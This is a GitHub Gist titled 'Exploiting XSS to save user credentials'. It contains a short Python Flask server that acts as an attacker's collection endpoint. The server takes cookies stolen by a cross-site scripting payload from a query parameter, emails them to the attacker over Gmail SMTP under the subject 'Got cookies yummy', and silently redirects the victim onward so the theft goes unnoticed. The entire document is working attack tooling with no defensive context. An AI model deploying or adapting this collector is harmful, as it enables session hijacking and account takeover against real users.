Created
May 1, 2014 10:10
-
-
Save samos123/d3b8434215534466dc0f to your computer and use it in GitHub Desktop.
Exploiting XSS to save user credentials
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import smtplib | |
from flask import Flask | |
from flask import request, redirect | |
app = Flask(__name__) | |
SMTP_SERVER = 'smtp.gmail.com' | |
SMTP_PORT = 587 | |
sender = '[email protected]' | |
recipient = '[email protected]' | |
subject = 'Got cookies yummy' | |
headers = ["From: " + sender, | |
"Subject: " + subject, | |
"To: " + recipient, | |
"MIME-Version: 1.0", | |
"Content-Type: text/html"] | |
headers = "\r\n".join(headers) | |
def send_email(body): | |
session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT) | |
session.ehlo() | |
session.starttls() | |
session.ehlo | |
session.login(sender, "xxxxx") | |
session.sendmail(sender, recipient, headers + "\r\n\r\n" + body) | |
session.quit() | |
@app.route("/", methods=['GET']) | |
def index(): | |
cookies = request.args.get('cookies', '') | |
next = request.args.get('next', '') | |
next = next + "&redirected=1" | |
send_email(cookies) | |
return redirect(next) | |
if __name__ == "__main__": | |
app.run(host="0.0.0.0", port=8080, debug=True) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment